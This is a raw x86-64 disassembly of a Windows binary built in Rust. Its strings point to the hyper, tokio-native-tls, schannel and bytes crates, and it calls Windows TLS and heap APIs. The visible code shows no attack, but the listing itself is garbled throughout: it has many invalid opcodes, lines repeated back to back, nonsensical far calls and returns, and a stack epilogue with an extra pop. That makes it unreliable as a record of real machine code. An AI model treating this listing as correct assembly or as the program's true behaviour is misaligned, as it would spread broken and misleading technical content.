tzcnt r10d, r9d
add r10, rdx
and r10, rcx
neg r10
imul r10, r10, 0x68
cmp qword [rax + r10 + 0x10], 4
jne 0x1400a2d20
lea r11, [rax + r10]
mov r11, qword [r11 + 8]
cmp dword [r11], 0x70747468
jne 0x1400a2d20
cmp byte [rdi + r10 - 8], 2
jne 0x1400a2d66
mov byte [rsi + 0x20], 2
jmp 0x1400a2ddd
add rdi, r10
lea rdx, [rdi - 0x10]
mov rax, qword [rdi - 0x28]
mov r8, qword [rdi - 0x20]
mov r9, qword [rdi - 0x18]
mov rcx, rsi
call qword [rax]
movzx eax, byte [rdi - 8]
mov byte [rsi + 0x20], al
jmp 0x1400a2ddd
lea rdi, [rsp + 0x60]
mov rax, qword [rsp + 0x48]
mov r8, qword [rsp + 0x50]
mov r9, qword [rsp + 0x58]
mov rcx, rsi
mov rdx, rdi
call qword [rax]
movzx eax, byte [rsp + 0x68]
mov byte [rsi + 0x20], al
cmp qword [rsp + 0x20], 0
mov rax, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rcx, rdi
call qword [rax + 0x10]
lea rcx, [rsp + 0x40]
mov rax, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x38]
call qword [rax + 0x10]
nop
add rsp, 0xc0
pop rbx
pop rdi
pop rsi
ret
mov r8, qword [rsp + 0xc8]
mov rcx, qword [0x14019f258]
or eax, 0xfbf62
or eax, 0xfbf62
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x1f8
add dword [rax], eax
add byte [rbx + 0x5f], bl
add dword [rax], eax
add byte [rbx + 0x5f], bl
pop rsi
pop r14
ret
add byte [rax], al
movups xmm3, xmmword [rsp + 0x168]
movaps xmmword [rsp + 0x1b0], xmm3
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x1a0], edx
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x1a0], edx
movaps xmmword [rsp + 0x190], xmm1
movaps xmmword [rsp + 0x180], xmm0
movzx eax, byte [rsp + 0x88]
mov ecx, dword [rsp + 0x179]
mov dword [rsp + 0x38], ecx
mov ecx, dword [rsp + 0x17c]
mov dword [rsp + 0x3b], ecx
test bl, 1
cmp al, 2
jne 0x1400a33ae
mov al, 2
cmp byte [rdi + 0x30], 2
je 0x1400a3394
lea rdx, [rdi + 0x28]
mov rax, qword [rdi + 0x10]
mov r8, qword [rdi + 0x18]
mov r9, qword [rdi + 0x20]
lea rcx, [rsp + 0x40]
call qword [rax]
movzx eax, byte [rdi + 0x30]
movups xmm0, xmmword [rsp + 0x40]
movups xmm1, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x1b0], xmm1
movaps xmmword [rsp + 0x1a0], xmm0
mov qword [rsi], rbx
mov dword [rsi], ebx
movaps xmm0, xmmword [rsp + 0x180]
movaps xmm1, xmmword [rsp + 0x190]
movaps xmm2, xmmword [rsp + 0x1a0]
movabs al, byte [0xb0249c280f000001]
add dword [rax], eax
add byte [rdi], cl
adc dword [rsi + 8], eax
movabs al, byte [0xb0249c280f000001]
pushfq
and al, 0xb0
add dword [rax], eax
add byte [rdi], cl
adc dword [rsi + 8], eax
movups xmmword [rsi + 0x18], xmm1
movups xmmword [rsi + 0x28], xmm2
movups xmmword [rsi + 0x38], xmm3
mov byte [rsi + 0x48], al
mov rax, qword [rsp + 0x38]
mov rax, qword [rsp + 0x38]
mov ecx, dword [rsp + 0x3b]
and al, 0x3b
mov dword [rsi + 0x49], eax
mov dword [rsi + 0x4c], ecx
cmp qword [rsp + 0xc0], 0
add byte [rax], al
add byte [rax], al
jne 0x1400a32e7
jmp 0x1400a32fe
and al, 0x20
lea rcx, [0x14018e3aa]
lea r9, [0x14015b618]
lea r8, [rsp + 0xc0]
add byte [rax], al
invalid
lea eax, [rsp + 0xc0]
add byte [rax], al
add byte [rdx + 0x37], bh
mov edx, 0x37
call fcn.140122900
int3
loopne 0x1400a34a9
lea rcx, [0x140191390]
mov r8, qword [rax + rcx]
lea rcx, str.EmptyHostIdnaErrorInvalidPortInvalidIpv4AddressInvalidIpv6AddressInvalidDomainCharacterRelativeUrlWithoutBaseRelativeUrlWithCannotBeABaseBaseSetHostOnCannotBeABaseUrlOverflow
jrcxz 0x1400a3489
fimul word [rsi]
add byte [rbx + rcx*4 + 4], cl
or byte [rax - 0x73], cl
or eax, 0xedf28
invalid
mov rax, qword [rax + rcx]
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
mov rdx, rax
jmp r9
add dword [rax - 0x75], ecx
pop rcx
adc byte [rax + 0x29], cl
fmul dword [rcx + rdi - 0x40]
jb 0x1400a3510
mov rcx, qword [rdi + 8]
add rcx, rbx
mov r8, rsi
call fcn.140121660
add rbx, rsi
mov qword [rdi + 0x10], rbx
xor eax, eax
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
mov rcx, rdi
mov r14, rdx
mov rdx, rbx
mov r8, rsi
call fcn.14012aee0
mov rdx, r14
mov rbx, qword [rdi + 0x10]
jmp 0x1400a34ee
int3
mov rdi, qword [rsi + 0x10]
cmp rdi, qword [rsi]
jne 0x1400a3557
mov rcx, rsi
mov ebx, edx
shr eax, cl
sbb edx, dword [rdx - 0x25760009]
mov rax, qword [rsi + 8]
mov byte [rax + rdi], dl
inc rdi
mov qword [rsi + 0x10], rdi
jmp 0x1400a3621
and al, 0x2c
add byte [rax], al
add byte [rax], al
mov eax, edx
cmp edx, 0x800
jae 0x1400a3596
shr eax, 6
or al, 0xc0
mov byte [rsp + 0x2c], al
sub al, 0x80
loop 0x1400a35c7
sub al, 0x80
loop 0x1400a35c7
or dl, 0x80
mov byte [rsp + 0x2d], dl
mov edi, 2
jmp 0x1400a35f7
cmp edx, 0x10000
jae 0x1400a35c5
shr eax, 0xc
or al, 0xe0
mov byte [rsp + 0x2c], al
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x2d], al
and dl, 0x3f
or dl, 0x80
mov byte [rsp + 0x2e], dl
mov edi, 3
mov edi, 3
jmp 0x1400a35f7
shr eax, 0x12
or al, 0xf0
adc cl, byte [rax + rsi*8]
mov byte [rsp + 0x2c], al
mov eax, edx
rol cl, 1
call 0x14c4959e2
or byte [rax - 0x76d2dbbc], 0xd0
rol cl, 1
call 0x14c4959e2
or byte [rax - 0x76d2dbbc], 0xd0
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x2e], al
and dl, 0x3f
or dl, 0x80
mov byte [rsp + 0x2f], dl
mov edi, 4
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
invalid
mov rax, qword [rsi]
mov rbx, qword [rsi + 0x10]
mov ebx, dword [rsi + 0x10]
adc byte [rax + 0x29], cl
fmul dword [rax + 0x39]
clc
adc byte [rax + 0x29], cl
fmul dword [rax + 0x39]
clc
jb 0x1400a362b
mov rcx, qword [rsi + 8]
add rcx, rbx
lea rdx, [rsp + 0x2c]
push rsp
and al, 0x2c
sub al, 0x49
mov eax, edi
call fcn.140121660
add rbx, rdi
mov qword [rsi + 0x10], rbx
xor eax, eax
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
mov rcx, rsi
mov rdx, rbx
mov r8, rdi
call fcn.14012aee0
mov rbx, qword [rsi + 0x10]
jmp 0x1400a3606
ror byte [rax - 0x73], 0x15
xor dword [rdi + 0xb], edi
add cl, ch
adc al, 0x62
idiv bh
int3
ror dword [rax - 0x77], cl
iretd
adc byte [rax - 0x77], cl
retf 0x2948
mov rdx, rcx
sub rdx, rax
cmp rdx, 2
ja 0x1400a369e
mov edx, 3
mov rcx, rsi
call fcn.1400087c0
mov rax, qword [rsi + 8]
mov rcx, qword [rsi + 0x10]
lea r14, [rsi + 0x10]
mov rdx, qword [rsi]
shr rbx, 0x28
mov word [rdx + rax], bx
shr ebx, 0x10
jmp 0x1400a36c0
mov byte [rdx + rax + 2], bl
add rax, 3
mov qword [rsp + 0x20], rax
and al, 0x20
cmp rax, rcx
jmp 0x1400a36c0
ja 0x1400a3784
mov qword [rsi + 8], rax
movzx ebx, byte [rdi + 5]
jne 0x1400a36e8
add byte [rax - 0x77], cl
or byte [rdi], r9b
mov dh, 0x5f
add al, 0x48
mov ecx, dword [rsi + 0x10]
cmp rcx, rax
jne 0x1400a3722
mov edx, 1
mov rcx, rsi
add byte [rax - 0x77], cl
int1
call fcn.1400087c0
mov rax, qword [rsi + 8]
mov rcx, qword [rsi + 0x10]
mov rdx, qword [rsi]
mov byte [rdx + rax], bl
inc rax
mov qword [rsp + 0x20], rax
and al, 0x20
and al, 0x20
and al, 0x20
cmp rax, rcx
ja 0x1400a3784
mov qword [rsi + 8], rax
mov edi, dword [rdi]
bswap edi
mov rcx, qword [rsi + 0x10]
mov rdx, rcx
sub rdx, rax
ret 0x8348
cli
add esi, dword [rdi + 0x15]
ret 0x8348
mov edx, 4
mov rcx, rsi
call fcn.1400087c0
mov rax, qword [rsi + 8]
mov rcx, qword [rsi + 0x10]
mov ecx, dword [rsi + 0x10]
mov rdx, qword [rsi]
mov dword [rdx + rax], edi
add rax, 4
mov qword [rsp + 0x20], rax
and al, 0x20
and byte [rax + 0x39], cl
invalid
ja 0x1400a3784
and byte [rax + 0x39], cl
enter 0xe77, 0x48
mov dword [rsi + 8], eax
invalid
invalid
mov qword [rsi + 8], rax
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rax, [rsp + 0x20]
mov qword [rsp + 0x28], rax
and byte [rax - 0x77], cl
and al, 0x28
sub byte [rax - 0x73], cl
add eax, 0xfff6531b
lea rax, [fcn.140008ab0]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x40], rax
lea rax, str.new_len____capacity_
mov qword [rsp + 0x48], rax
and al, 0x48
and al, 0x48
mov qword [rsp + 0x50], 2
mov qword [rsp + 0x68], 0
lea rax, [rsp + 0x28]
sub byte [rax - 0x77], cl
and al, 0x58
sub byte [rax - 0x77], cl
and al, 0x58
mov qword [rsp + 0x60], 2
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
lea rcx, [rsp + 0x48]
call fcn.1401224d0
int3
push r15
push r14
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x70
sub esp, 0x70
mov rdi, rdx
mov rsi, rcx
cmp byte [rcx + 0x48], 0
je 0x1400a38c8
add byte [rax], al
add byte [rax - 0x75], cl
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x60], rax
mov rax, qword [rdi + 0x40]
mov qword [rsp + 0x60], rax
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmm2, xmmword [rdi + 0x20]
movups xmm3, xmmword [rdi + 0x30]
and byte [rdi], cl
adc byte [rdi + 0x30], bl
movaps xmmword [rsp + 0x50], xmm3
movaps xmmword [rsp + 0x40], xmm2
push rsp
and al, 0x40
push rsp
and al, 0x40
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x38]
cmp rax, rcx
jne 0x1400a3858
lea rcx, [rsi + 0x20]
call fcn.140085610
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x38]
mov rdx, qword [rsi + 0x30]
add rdx, rax
xor r8d, r8d
cmp rdx, rcx
cmovae r8, rcx
sub rdx, r8
mov rcx, qword [rsi + 0x28]
lea rdx, [rdx + rdx*4]
shl rdx, 4
mov qword [rcx + rdx], 2
movaps xmm0, xmmword [rsp + 0x20]
movaps xmm1, xmmword [rsp + 0x30]
movaps xmm2, xmmword [rsp + 0x40]
movaps xmm3, xmmword [rsp + 0x50]
movups xmmword [rcx + rdx + 8], xmm0
movups xmmword [rcx + rdx + 0x18], xmm1
movups xmmword [rcx + rdx + 0x28], xmm2
movups xmmword [rcx + rdx + 0x38], xmm3
mov r8, qword [rsp + 0x60]
mov qword [rcx + rdx + 0x48], r8
inc rax
mov qword [rsi + 0x38], rax
add rsp, 0x70
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rdi
ret
movzx r14d, byte [rdi + 0x32]
movzx ebp, byte [rdi + 0x33]
mov eax, ebp
sub al, r14b
movzx r12d, al
mov r8, qword [rdi + 0x10]
mov rcx, r12
add rcx, r8
jb 0x1400a3a32
mov rax, qword [rsi + 0x10]
sub r9, rax
cmp r9, rcx
cmp ecx, ecx
jae 0x1400a3943
mov rbx, rax
sub rbx, rdx
jb 0x1400a3a64
mov qword [rsi + 0x10], 0
je 0x1400a393b
mov rcx, qword [rsi + 8]
add rdx, rcx
mov r15, r8
mov r8, rbx
mov eax, ebx
call fcn.140121660
mov r8, r15
mov qword [rsi + 0x10], rbx
mov qword [rsi + 0x18], 0
sbb byte [rax], r8b
add byte [rax], al
add byte [rbp + rcx*4 + 0x7f], cl
and bl, ch
nop qword [rax]
lea r15, [rdi + 0x20]
jmp 0x1400a3993
mov rcx, qword [rsi + 8]
add rcx, r14
mov r8, rbx
call fcn.140121660
add r14, rbx
mov qword [rsi + 0x10], r14
mov rcx, rdi
mov rdx, rbx
call fcn.1400a3a80
movzx r14d, byte [rdi + 0x32]
movzx ebp, byte [rdi + 0x33]
outsd dx, dword [rsi]
xor ecx, dword [rcx - 0xfd7bb18]
movzx r12d, al
mov r8, qword [rdi + 0x10]
mov rax, r12
mov eax, esp
add rax, r8
jb 0x1400a3a32
or r12, r8
je 0x1400a39b0
cmp bpl, r14b
jne 0x1400a39c0
mov rdx, qword [rdi + 8]
mov rbx, r8
test rbx, rbx
jne 0x1400a39df
jmp 0x1400a3a0f
mov rdx, qword [rdi + 0x38]
mov rbx, qword [rdi + 0x40]
test rbx, rbx
jne 0x1400a39df
jmp 0x1400a3a0f
movzx edx, r14b
movzx ebx, bpl
jb 0x1400a3a52
cmp bpl, 0x12
ja 0x1400a3a3e
sub rbx, rdx
add rdx, r15
test rbx, rbx
je 0x1400a3a0f
mov rax, qword [rsi]
mov r14, qword [rsi + 0x10]
sub rax, r14
cmp rax, rbx
jae 0x1400a3950
mov rcx, rsi
mov r12, rdx
mov rdx, r14
mov r8, rbx
call fcn.14012aee0
mov rdx, r12
mov r14, qword [rsi + 0x10]
jmp 0x1400a3950
mov rax, qword [rdi]
mov rdx, qword [rdi + 8]
mov rax, qword [rax + 0x10]
add rdi, 0x18
mov rcx, rdi
add rsp, 0x70
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
jmp rax
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bufchain.rs
call fcn.140122a00
lea r8, [0x14015cea0]
mov edx, 0x12
mov rcx, rbx
call fcn.1401225f0
lea r8, [0x14015cea0]
mov rcx, rdx
mov rdx, rbx
call fcn.140122990
lea r8, str._rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrary_alloc_src_vecmod.rs
mov rcx, rdx
mov rdx, rax
call fcn.1401225f0
int3
ret 0x3145
lea rdx, [rdx + rdx*4]
adc al, 0x92
shl rdx, 4
movaps xmm0, xmmword [rsp + 0x90]
movups xmmword [rcx + rdx + 0x40], xmm0
adc dword [rax + 0xf], r8d
sub byte [rsp + 0x50], al
adc dword [rax + 0xf], r8d
sub byte [rsp + 0x50], al
movaps xmm0, xmmword [rsp + 0x50]
movaps xmm1, xmmword [rsp + 0x60]
movaps xmm2, xmmword [rsp + 0x70]
movaps xmm3, xmmword [rsp + 0x80]
movups xmmword [rcx + rdx + 0x30], xmm3
pop rsp
adc dword [rax], esi
pop rsp
adc dword [rax], esi
movups xmmword [rcx + rdx + 0x20], xmm2
push rsp
adc dword [rax], esp
movups xmmword [rcx + rdx + 0x10], xmm1
movups xmmword [rcx + rdx], xmm0
inc rax
mov qword [rsi + 0x38], rax
mov dword [rsi + 0x38], eax
jmp 0x1400a3f1a
invalid
enter 0xffffffffffff8b48, 0x56
sbb byte [rax - 0x7b], cl
sal byte [rsp + rdi + 0x4c], cl
mov eax, dword [rsi]
mov rax, qword [rsi + 0x10]
sub r8, rax
cmp r8, rcx
jae 0x1400a3d4d
enter 0x2d73, 0x48
mov ebx, eax
mov rbx, rax
sub rbx, rdx
jb 0x1400a3d69
mov qword [rsi + 0x10], 0
je 0x1400a3d45
invalid
adc byte [rax], al
add byte [rax], al
add byte [rbx + rdx + 0x48], dh
adc ecx, dword [rax - 0x75]
invalid
invalid
adc ecx, dword [rax - 0x75]
or byte [rax + 1], r9b
retf 0x8949
invalid
mov rcx, qword [rsi + 8]
add rdx, rcx
mov r8, rbx
mov eax, ebx
mov eax, ebx
call fcn.140121660
mov qword [rsi + 0x10], rbx
mov qword [rsi + 0x18], 0
lea rbx, [rdi + 8]
lea ebx, [rdi + 8]
lea r12, [rdi + 0x28]
mov rax, qword [rdi]
lea r13, [0x140194ba8]
add byte [rcx + 0x63], cl
test qword [rax], r8
invalid
add byte [rcx + 0x63], cl
test qword [rax], r8
invalid
add rcx, r13
jmp rcx
lea r8, str._rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrary_alloc_src_vecmod.rs
mov rcx, rdx
mov rdx, rax
call fcn.1401225f0
invalid
invalid
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bufchain.rs
call fcn.140122a00
mov rdx, qword [rdi + 0x10]
mov r14, qword [rdi + 0x18]
test r14, r14
jne 0x1400a3e26
add byte [rax], al
jmp 0x1400a3f15
mov rdx, qword [rdi + 0x10]
mov rcx, qword [rdi + 0x18]
mov r14, qword [rdi + 0x28]
cmp rcx, r14
cmovb r14, rcx
test r14, r14
jne 0x1400a3e26
jmp 0x1400a3f15
movzx edx, byte [rdi + 0x3a]
movzx ecx, byte [rdi + 0x3b]
mov r8d, ecx
sub r8b, dl
movzx r8d, r8b
mov r14, qword [rdi + 0x18]
mov r9, r8
ror dword [rbp + 1], 0xf1
ror dword [rbp + 1], 0xf1
jb 0x1400a3d7b
or r8, r14
je 0x1400a3def
cmp cl, dl
jne 0x1400a3e01
mov rdx, qword [rdi + 0x10]
test r14, r14
test esi, esi
test esi, esi
jne 0x1400a3e26
jmp 0x1400a3f15
mov rdx, qword [rdi + 0x40]
mov r14, qword [rdi + 0x48]
test r14, r14
test r14, r14
jne 0x1400a3e26
jmp 0x1400a3f15
movzx edx, dl
movzx r14d, cl
jb 0x1400a3f8c
cmp cl, 0x12
ja 0x1400a3f78
add dword [rax], eax
invalid
adc cl, byte [rdi]
xchg dword [rcx + 1], esp
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rcx + 0x29], cl
invalid
sub r14, rdx
add rdx, r12
test r14, r14
je 0x1400a3f15
mov rax, qword [rsi]
mov r15, qword [rsi + 0x10]
sub rax, r15
sub eax, edi
invalid
cmp rax, r14
jb case.default.0x1400a3e60
invalid
add byte [rax - 0x75], cl
or byte [rcx + r8 - 7], r9b
mov rcx, qword [rsi + 8]
add rcx, r15
mov r8, r14
call fcn.140121660
add r15, r14
mov qword [rsi + 0x10], r15
jle 0x1400a3e5f
jle 0x1400a3e5f
mov rax, qword [rdi]
lea rcx, [0x140194bb8]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
enter 0xffffffffffffe0ff, 0x4c
mov dword [rsp + 0x20], esi
mov qword [rsp + 0x20], r14
mov rax, qword [rdi + 0x18]
mov rcx, rax
sub rcx, r14
int1
jb 0x1400a3fb4
mov qword [rdi + 0x18], rcx
add qword [rdi + 0x10], r14
add dword [rdi + 0x10], esi
add dword [rdi + 0x10], esi
mov rax, qword [rdi]
movsxd rcx, dword [r13 + rax*4]
test qword [rax], r8
test qword [rax], r8
add rcx, r13
jmp rcx
mov rcx, rbx
mov rdx, r14
call fcn.1400a3a80
sti
invalid
dec dword [rax - 0x75]
mov eax, dword [rdi]
sti
invalid
mov eax, dword [rdi]
movsxd rcx, dword [r13 + rax*4]
add rcx, r13
jmp rcx
mov rdx, qword [rdi + 0x10]
mov rax, rdx
sub rax, r14
jb 0x1400a3f9e
add qword [rdi + 8], r14
mov qword [rdi + 0x10], rax
mov dword [rdi + 0x10], eax
mov dword [rdi + 0x10], eax
mov rax, qword [rdi]
movsxd rcx, dword [r13 + rax*4]
add rcx, r13
jmp rcx
mov rax, qword [r12]
sub rax, r14
jb 0x1400a4020
mov qword [rsp + 0x20], r14
mov rcx, qword [rdi + 0x18]
mov rdx, rcx
mov edx, ecx
sub rdx, r14
jb 0x1400a3fad
mov qword [rdi + 0x18], rdx
add qword [rdi + 0x10], r14
mov qword [rdi + 0x28], rax
mov rax, qword [rdi]
movsxd rcx, dword [r13 + rax*4]
add rcx, r13
jmp rcx
mov rdx, qword [rdi + 8]
mov r14, qword [rdi + 0x10]
test r14, r14
jne 0x1400a3e26
cmp eax, 3
jne 0x1400a3f4b
add rsp, 0xa8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, rsi
mov rbp, rdx
mov rdx, r15
mov r8, r14
call fcn.14012aee0
mov rdx, rbp
mov r15, qword [rsi + 0x10]
jmp case.0x14009a20c.37
mov rax, qword [rdi + 8]
mov rdx, qword [rdi + 0x10]
mov rax, qword [rax + 0x10]
mov r8, qword [rdi + 0x18]
add rdi, 0x20
mov rcx, rdi
add rsp, 0xa8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp rax
lea r8, [0x14015cea0]
mov edx, 0x12
mov rcx, r14
call fcn.1401225f0
lea r8, [0x14015cea0]
mov rcx, rdx
mov rdx, r14
call fcn.140122990
lea r8, [0x14015bf08]
mov rcx, r14
call fcn.140122510
mov qword [rsp + 0x28], rcx
jmp 0x1400a3fb9
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x20]
mov qword [rsp + 0x30], rax
lea rax, [0x1400318a0]
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x28]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], rax
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 2
mov qword [rsp + 0x70], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 2
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1encode.rs_r_n0_r_n_r_nC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconnectdns.rs
lea rcx, [rsp + 0x50]
call fcn.1401224d0
lea rcx, [0x14015ce47]
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov edx, 0x23
call fcn.140122660
int3
mov dword [rsp + 0x58], eax
mov qword [rsp + 0x60], 1
mov qword [rsp + 0x68], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_native_tls_0.3.1_srclib.rs
lea rcx, [rsp + 0x58]
call fcn.1401224d0
int3
adc dword [rsi - 0x2dcefff1], eax
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov eax, 2
jmp 0x1400a6c78
mov rdx, rsi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
invalid
nop
add dword [rax], eax
add byte [rax - 0x75], cl
mov ecx, 0x198
cmp rdi, rdx
je 0x1400a6d09
lea rbx, [rsi + 0x10]
nop dword [rax + rax]
mov r8, rdx
sub r8, rdi
jb 0x1400a6dcd
mov rdx, qword [rsi + 0x188]
add rdx, rdi
mov rcx, rbx
call fcn.140099260
test rax, rax
jne 0x1400a6d15
add rdi, rdx
mov qword [rsi + 0x198], rdi
mov rdx, qword [rsi + 0x190]
cmp rdi, rdx
jne 0x1400a6cd0
lea rcx, [rsi + 0x10]
call fcn.140099170
mov rdx, rax
test rdx, rdx
je 0x1400a6dab
mov rdi, rdx
mov rcx, rdx
call fcn.140097f30
mov qword [rsi + 0x138], 0
cmp al, 0xd
jne 0x1400a6dbc
mov rcx, rdi
mov edx, ecx
and edx, 3
mov eax, 1
cmp edx, 1
jne 0x1400a6dc3
mov rsi, qword [rcx - 1]
mov rbx, qword [rcx + 7]
mov rax, qword [rbx]
test rax, rax
je 0x1400a6d66
mov rcx, rsi
call rax
mov rcx, rdi
dec rcx
mov rdi, rcx
cmp qword [rbx + 8], 0
je 0x1400a6d90
cmp qword [rbx + 0x10], 0x11
jb 0x1400a6d7e
mov rsi, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
xor edx, edx
mov eax, 1
jmp 0x1400a6dc5
mov qword [rsi + 0x138], 0
xor edx, edx
xor eax, eax
jmp 0x1400a6dc5
xor eax, eax
mov rdx, rdi
jmp 0x1400a6dc5
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsassertion_failed:_pos___self.dec_in.get_ref__.len___as_u640
mov rcx, rdi
call fcn.140122510
int3
add byte [rax - 0x7b], cl
sal byte [rbp + rdi*2 + 0x48], 0x89
invalid
invalid
stc
call rax
dec rsi
cmp qword [rbx + 8], 0
je 0x1400a6e5a
cmp qword [rbx + 0x10], 0x11
jb 0x1400a6e48
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
or byte [rax], al
or byte [rax], al
xor esi, esi
mov eax, 1
jmp 0x1400a6e81
mov rdx, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
mov rdx, rsi
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret
int3
and al, 0x24
mov qword [rsp + 0x48], rax
movabs rax, 0x100000000
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
lea rcx, [rdi + 0x1f0]
lea rdx, [rsp + 0x28]
call qword [sym.imp.secur32.dll_ApplyControlToken]
test eax, eax
je 0x1400a707b
mov esi, eax
shl rsi, 0x20
or rsi, 2
jmp 0x1400a70b4
mov dword [rdi + 0x1d0], 0x1010000
mov byte [rdi + 0x1d4], 0
mov qword [rdi + 0x210], 0
lea rcx, [rsp + 0x28]
mov rdx, rdi
call fcn.1400ae960
cmp dword [rsp + 0x28], 2
jne 0x1400a7131
mov rsi, qword [rsp + 0x30]
mov rcx, rsi
call fcn.140097f30
mov qword [rdi + 0x138], 0
cmp al, 0xd
jne 0x1400a713e
mov ecx, esi
and ecx, 3
mov eax, 1
cmp ecx, 1
jne 0x1400a714b
mov rdi, qword [rsi - 1]
mov rbx, qword [rsi + 7]
mov rax, qword [rbx]
test rax, rax
je 0x1400a70ef
mov rcx, rdi
call rax
dec rsi
cmp qword [rbx + 8], 0
je 0x1400a7116
cmp qword [rbx + 0x10], 0x11
jb 0x1400a7104
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
xor esi, esi
mov eax, 1
jmp 0x1400a7140
mov qword [rdi + 0x138], 0
xor esi, esi
xor eax, eax
mov rdx, rsi
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret
xor esi, esi
jmp 0x1400a7140
lea eax, [rsp + 0x20]
mov edx, 0x53
call qword [sym.imp.secur32.dll_QueryContextAttributesW]
test eax, eax
je 0x1400a71b0
movabs r12, 0x8000000000000000
jmp 0x1400a720a
mov rbx, qword [rsp + 0x20]
mov r15, qword [rbx + 8]
mov edi, dword [rbx + 0x10]
test rdi, rdi
je 0x1400a71ea
invalid
sub dword [rdi], ecx
mov dh, 5
or dword [rdi], 0x48c93100
mov edx, edi
movzx eax, byte [0x14019f308]
xor ecx, ecx
mov rdx, rdi
call fcn.1400f8ae0
mov r14, rax
mov r12, rdi
test rax, rax
jne 0x1400a71f3
mov ecx, 1
mov rdx, rdi
call fcn.140122170
xor r12d, r12d
mov r14d, 1
mov rcx, r14
mov rdx, r15
mov r8, rdi
mov eax, edi
mov eax, edi
call fcn.140121660
mov rcx, rbx
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
jg 0x1400a7211
invalid
jg 0x1400a7211
add byte [rcx + rcx*4 + 0x26], cl
mov qword [rsi], r12
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], rdi
mov rax, rsi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
cmp byte [rax - 0x7b], cl
push qword [rax + rdi + 0x48]
